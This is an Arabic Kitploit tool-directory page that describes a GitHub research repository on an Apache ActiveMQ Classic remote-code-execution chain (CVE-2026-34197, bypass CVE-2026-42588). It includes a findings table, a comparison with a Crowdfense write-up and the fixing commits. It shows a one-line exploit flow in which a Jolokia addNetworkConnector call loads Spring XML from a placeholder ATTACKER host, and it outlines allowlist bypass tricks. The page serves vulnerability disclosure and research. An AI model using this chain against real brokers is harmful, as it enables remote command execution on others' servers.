Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
apache-activemq-rce-research — بحث Apache ActiveMQ Classic حول RCE: سلسلة تجاوز CVE-2026-34197 / CVE-2026-42588 + نتائج تدقيق hardened-6.2.6 + مقارنة Crowdfense | Kitploit
أدوات/GitHubGitHub/dinosn/apache-activemq-rce-research
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليمتطوير الحمولات
GitHubdinosn/apache-activemq-rce-research

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

apache-activemq-rce-research

بحث Apache ActiveMQ Classic حول RCE: سلسلة تجاوز CVE-2026-34197 / CVE-2026-42588 + نتائج تدقيق hardened-6.2.6 + مقارنة Crowdfense

عرض المستودع
84منذ شهر واحدلم تتم المراجعة بعد

Apache ActiveMQ Classic — أبحاث RCE

أرشيف بحث خاص لسلسلة تنفيذ التعليمات البرمجية عن بُعد في Apache ActiveMQ Classic عبر Jolokia → addNetworkConnector → xbean/Spring-XML (CVE-2026-34197 وتجاوز التصحيح الخاص بها CVE-2026-42588)، بالإضافة إلى تدقيق بحث آلي كامل للإصدار المُصلَّح 6.2.6 ومقارنة جنبًا إلى جنب مع تقرير التجاوز المنشور من Crowdfense.

تم تنفيذ جميع عمليات الاستغلال ضد وسطاء مخبريين محليين (Docker / استضافة ذاتية). تستخدم الحمولات مضيفي مهاجمين نائبين.


المحتويات

الدليلالمرحلةما بالداخل
00-comparison-vs-crowdfense.mdمقارنةعملنا مقابل مقال Crowdfense «تجاوز RCE في ActiveMQ»، مُتحقق منه بالمصدر عند file:line
01-original-cve-2026-34197/إعادة إنتاج أصليةتحليل + نصوص PoC + حمولات Spring-XML (مختبر: activemq-classic:5.18.6)
02-reaudit-apr30/مصفوفة الإصداراتuid=0 على 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7; تقييم + PoC + version-matrix.sh
03-reaudit-42588-42253/تجاوز حيتجاوز مركّب بدون أقواس (42588) + XSS في MessageServlet (42253)، مُعاد إنتاجه حيًا
04-audit-6.2.6/تدقيق كاملتدقيق بحث آلي لـ 6.2.6 المحصَّن: تقرير نهائي + سجل نتائج

أشجار المصدر والتوزيعات الثنائية الخاصة بالمورّد المستخدمة أثناء المختبرات مستبعدة عمدًا (فهي من المنبع، وليست من عملنا).


الثغرة في سطر واحد

مستدعٍ مصادَق (غير مصادَق على 6.0.0–6.1.1 عبر CVE-2024-32114) لـ Jolokia يستدعي BrokerView.addNetworkConnector(uri) مع URI اكتشاف مُصاغ بعناية، حيث يجبر URI الداخلي vm://…?brokerConfig=xbean:<url> الوسيط على تحميل Spring XML يتحكم به المهاجم، الذي ينشئ فورًا bean من نوع ProcessBuilder قبل تحقق الوسيط ← تنفيذ أوامر نظام التشغيل.

root@kitploit:~
POST /api/jolokia/  →  BrokerView.addNetworkConnector(String)
  →  static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
  →  VMTransportFactory dynamic broker creation  →  XBeanBrokerFactory
  →  ResourceXmlApplicationContext loads Spring XML  →  ProcessBuilder bean  →  RCE

النتائج

العنوان الرئيسي: ثلاث نتائج مُثبتة حيًا ببلوغ root/XSS; يضيف تدقيق 6.2.6 مجموعة أوسع مُتحققًا منها بالمصدر وخاضعة لتقييم عدائي، لكنها لم تُنفَّذ حيًا بعد. لا شيء من الإضافات في 6.2.6 هو RCE جديد غير مصادَق — المورّد أغلق تلك الأبواب; الخطر المتبقي انتقل إلى التفويض وترميز المخرجات.

سلسلة الاستغلال المُثبتة

جديد كليًا من تدقيق 6.2.6 (مُتحقق منه بالمصدر)

خارج النطاق — DoS (مفهرس، وليس رئيسيًا)

AIOOBE للترتيب العددي QoS في MQTT (QoS.values()[ordinal], عبر البروتوكولات، بدون إعداد) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException للـ short المُوقَّع في فك ترميز OpenWire · مهمة مجدوَلة خالدة بسبب AMQ_SCHEDULED_REPEAT السالب.


مقارنة مع مقال Crowdfense

يتناول مقال تجاوز RCE في Apache ActiveMQ من Crowdfense نفس السلسلة (يصنّفونها تحت CVE-2026-34197; نحن نتعقّب التجاوز كـ CVE-2026-42588 مستقلة). يتقارب الحسابان على دفاع من ثلاث طبقات; الاختلاف الوحيد في الطبقة 2.

الفجوة الوحيدة: خدعة الطبقة 2 (ترميز النسبة المئوية + UNC/WebDAV) تحقق تسليمًا عن بُعد بالكامل بدون بدائية كتابة محلية. عيب المُصنِّف الذي تستغله (activemq-spring/Utils.java:123-129, فحص startsWith("file://") خام على السلسلة غير المُفكَّكة) موجود في مصدرنا تمامًا — لكن النصف البعيد خاص بـ Windows فقط (لينكس يعامل //host/share كمسار محلي)، ومختبرنا كان على لينكس، لذا لم يكن قابلاً للاختبار هناك. إنه ميت على 6.2.6 على أي حال (بوابة مخططات VMTransportFactory ترفض xbean قبل تشغيل Utils).

متابعة: تشغيل 5.19.6 على Windows (أو أي إصدار قبل 5.19.7/6.2.6) + مستمع SMB/WebDAV سيسمح لنا بإظهار تجاوز قائمة السماح عن بُعد بالكامل — الإمكانية الوحيدة التي يمتلكها المقال ولم يُظهرها عملنا.


الإصلاح (ActiveMQ 6.2.6)

ثلاث عمليات commit تُغلق السلسلة: c1b44af11 (التحقق من URIs المركّبة بدون أقواس — استدعاء parseComposite دائمًا + تكرار)، c2fc7a1d6 (حظر XBeanBrokerFactory افتراضيًا عبر قائمة المخططات المسموحة في VMTransportFactory)، و be8415f24 (تحصين إعدادات العينة: Jolokia إلى loopback، قائمة منع عمليات تتضمن addNetworkConnector).

تنزيل الأداة
IDالنتيجةالفئةالخطورةالمصادقةالدليل
CVE-2026-34197Jolokia addNetworkConnector → xbean Spring-XML RCERCEحرجةبعد المصادقة (بدون مصادقة 6.0.0–6.1.1)حي — uid=0 على 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7
CVE-2026-42588تجاوز URI مركّب بدون أقواس لقائمة منع 34197RCE (تجاوز تصحيح)حرجةبعد المصادقةحي — uid=0 على 5.19.6 المُصحَّح من 34197 + 6.2.0
CVE-2026-42253حقن ترويسة في MessageServlet → XSS مخزّنحقن / XSSمتوسطةبعد المصادقةحي على 6.2.0
IDالنتيجةالفئةالخطورةالمصادقةملاحظات
C1فجوة في قائمة منع static: ← SSRF — static غائب عن DENIED_TRANSPORT_SCHEMES; addNetworkConnector("static:(tcp://…)") → TCP صادر من الوسيطSSRFمتوسطةمسؤول / JMXمتغير sink يعبر نفس قائمة منع 34197/42588 التي يغطيها المقال
B1IDOR حذف عبر clientId للاشتراكات الدائمة — removeSubscription يعتمد على clientId المُقدَّم عبر السلك وغير مُقيَّد في AuthorizationBrokerكسر تفويض / IDORمتوسطةبعد المصادقة (قبل المصادقة إذا كان تفويض الوسيط معطّلًا)أوضح نتيجة جديدة كليًا
B3LDAP كلمة مرور فارغة ← ربط مجهول (LDAPLoginModule, بدون فحص فراغ)تجاوز مصادقةمتوسطة (مشروطة)قبل المصادقةمشروط بقبول الدليل لعمليات الربط المجهولة
A1–A7عائلة حقن ترميز المخرجات في وحدة التحكم — MessageId.textView المتحكم به من المهاجم (OpenWire v10+ و AMQP) غير مُهرَّب عبر ~7 مصارف JSP/REST + اجتياز مسار في FileSystemBlobStrategyحقنمنخفضة–متوسطةمنتِج ← مسؤولمُقيَّد بـ CSP إلى حقن HTML/محتوى افتراضيًا
B2Shiro WildcardPermission تصعيد أفعال بحقن نقطتينتصعيد صلاحياتمنخفضة–متوسطةبعد المصادقةShiro غير افتراضي
B4عدم تماثل فشل-مفتوح لتفويض الوجهات المؤقتة مقابل فشل-مغلق لغير المؤقتةكسر تفويضمنخفضةبعد المصادقةحسب التصميم (AMQ-4721); ملاحظة تحصين
B5replyTo في StatisticsBroker يتجاوز صلاحية الكتابة عندما يُرتَّب المكوّن الإضافي قبل التفويضكسر تفويضمنخفضةبعد المصادقةيعتمد على ترتيب الإعداد
B6تسجيل الدخول بالشهادات DN غير متعارف عليه (getSubjectDN().getName()) → تصادم هوية بين شهادات من نفس المرجع CAمصادقةمنخفضةقبل المصادقة (مُتحقق عبر TLS)«أي شهادة موقعة ذاتيًا» لا تعمل
B7انتحال JMSXUserID عندما يكون populateJMSXUserID=false (الافتراضي)انتحالمنخفضةبعد المصادقة—
F5اسم ترويسة STOMP الصادر لا يُهرَّب أبدًا → حقن إطار إلى مشترك في نفس المستأجرحقنمنخفضةعبر البروتوكولاتSTOMP مفعّل
الطبقةالدفاعكيف هزمها Crowdfenseكيف هزمناها نحن
1قائمة منع المخططات (إصلاح 34197)مركّب بدون أقواس static:vm://…نفس الشيء — اكتُشف بشكل مستقل ✅
2قائمة سماح xbean {file,classpath} (#1910)ترميز نسبة مئوية لـ file:%2f%2f… → UNC → WebDAV على Windows → جلب HTTP عن بُعدملف محلي xbean:/tmp/evil.xml (يتطلب كتابة محلية)
3بوابة مخططات VMTransportFactory (broker,properties، إصلاح 42588 / 6.2.6)أُقرّ بها كقاضية على السلسلةنفس الاستنتاج ✅